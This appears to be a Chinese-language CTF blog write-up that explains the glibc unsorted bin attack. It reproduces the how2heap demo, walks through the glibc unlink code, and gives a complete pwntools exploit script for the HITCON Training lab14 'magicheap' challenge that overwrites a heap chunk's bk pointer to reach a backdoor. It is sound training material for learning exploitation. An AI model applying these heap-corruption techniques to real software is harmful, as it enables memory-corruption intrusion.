Unsorted Bin Attack

unsorted bin 来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

使用

  • Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取
  • 在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中

我们之前做题时其实也用到了unsortedbin,去进行unlink又或去泄露libc,当时我并没有用libcserach,是因为libcsearch不支持main_arena符号,但是是支持__malloc_hook的,mallochook又在mainarena-0x10处,我们可以利用malloc_hook去定位libc

原理

看一下how2heap的 unsorted_bin_attack

#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

image-20230321151820498

这里说下这个指针问题

p[1] = (unsigned long)(&target_var - 2);

p的类型是一个unsigned long *

tartget_var类型是unsigned long,&后也是unsigned long*

所以是在(char *) p+0x8位置写入(char *)tartget_var-0x10

现象就是我们在free掉p后将p的bk改为了target_var-0x10位置,让后我们的target_var位置被写入了unsortedbin地址

具体为什么会我们去下源码

          bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

最关键的就是这句,由于unsortedbin是fifo的数据结构,我们再次malloc会把之前的chunk拿出来,并操作链表结构

unsorted_chunks(av)是一个函数定位到我们unsortedbin位置,把他的bk改为bck这里的bck是我们要拿出chunk的bk也就是我们改造过的地址,再把我们改造过的地址的fd(+0x10)写为unsortedbin地址,此时目的达到了,unsortedbin链表也坏掉了,不过和我们没关系>_<

HITCON Training lab14 magic heap

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unsorted_bin_attack/hitcontraining_lab14

grxer@Ubuntu16 /m/h/S/heap> checksec magicheap 
[*] '/mnt/hgfs/Share/heap/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没什么好说的,有后门函数,edit堆时存在堆溢出

if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}

我们刚说的漏洞屁用没有,就是可以随意把一个地址改一个大数字

注意不被topchunk合并,溢出把bk覆盖为magic-0x10,剩下交给管理器就行了

image-20230321154447592

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./magicheap'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def create_heap(size, content):
io.recvuntil(b":")
io.sendline(b"1")
io.recvuntil(b":")
io.sendline(str(size).encode())
io.recvuntil(b":")
io.sendline(content)


def edit_heap(idx, size, content):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b":")
io.sendline(str(idx).encode())
io.recvuntil(b":")
io.sendline(str(size).encode())
io.recvuntil(":")
io.sendline(content)


def del_heap(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx).encode())
create_heap(0x70,b'a'*0x12)
create_heap(0x90,b'b'*0x12)
create_heap(0x20,b'c'*0x12)
del_heap(1)
# gdb.attach(io)
magic = 0x6020c0
payload=b'd'*0x70+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10)
edit_heap(0,len(payload),payload)
# gdb.attach(io)
create_heap(0x90,b'd'*0x12)
io.recvuntil(b":")
io.sendline(b"4869")

io.interactive()